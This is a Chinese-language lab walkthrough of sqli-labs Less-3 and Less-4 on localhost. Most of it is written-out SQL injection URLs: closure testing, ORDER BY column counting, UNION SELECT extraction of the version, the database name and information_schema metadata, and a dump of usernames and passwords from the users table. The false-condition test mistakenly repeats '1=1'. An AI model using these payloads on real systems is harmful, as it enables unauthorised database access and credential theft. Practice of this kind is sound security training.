sqli-labs-less3-4
less3
通过布尔表达式试探闭环传参
http://localhost:8888/Less-3/?id=1’) and 1=1 – -,为真时回显提示为正确
http://localhost:8888/Less-3/?id=1’) and 1=1 – -,为假时回显提示为错误
这里已经试探出了正确的闭环传参,准备开始通过orderby带出可用字段
手动试探可用的有几个字段
试探4个提示为错,试探3个为正确
http://localhost:8888/Less-3/?id=1’) order by 4 – - 。
http://localhost:8888/Less-3/?id=1’) order by 3 – - 。
确定可用的字段数后,现在可以通过union 带入可以查询的字段
http://localhost:8888/Less-3/?id=1’) union select 1,2,3 – -
由于前端页面显示的数据只显示查询的前面正确查询输出的字段,这里我们把id传参改为任意的错误的值,这时就能显示出后面联合查询出的数据。
http://localhost:8888/Less-3/?id=s’) union select 1,2,3 – -
现在我们确定了2,3字段可以被我们使用
通过带入函数查询当前mysql的版本号
http://localhost:8888/Less-3/?id=s’) union select 1,2,version() – -
查询出当前的mysql为5.7.26
查询使用数据库的库名
http://localhost:8888/Less-3/?id=s’) union select 1,2,database() – -
库名为security
去重查询security库内的表
查询出一共4张表,发现这里有一张名为users的表,我们进一步查询这张表里的关键信息
http://localhost:8888/Less-3/?id=s’) union select 1,2,group_concat( distinct table_name) from information_schema.columns where table_schema=‘security’ – -
查询出users表内所有字段
http://localhost:8888/Less-3/?id=s’) union select 1,2,group_concat( column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ – -
查询出了users内有id,username,password字段
通过上面的步骤我们得到了库名为security,得到表名为users,得到表内有id,username,password字段,现在我们准备开始查询所有的字段
http://localhost:8888/Less-3/?id=s’) union select 1,2,group_concat( distinct id,username,password) from security.users – -
这里就得到了所有的用户名和密码了
less-4(这里查询方式跟上面一样就直接输入结果了)
首先通过布尔表达式找到闭环参数
找到闭环参数后就可以依次执行上面的环节
总结
1,布尔表达式去找闭环参数
2,orderby 查字段
3,union select 查可用字段
4,union select 带入函数到可用字段去查版本号
5,通过版本号确认是否存在information_schema库(information_schema库中的columns表存有数据库的很多关联信息,table_schema(所有数据库名),table_name(所有数据表名),column_name(所有字段名))
5.0以上都有
5.0以下没有
6.如果是5.0以上的版本,开始通过union select 查询库名-表名(筛选重要的表)-列名(筛选重要的列)-列中所有字段
group_concat(组合同行显示)
limit 0,1(分页查询)
distinct(去重)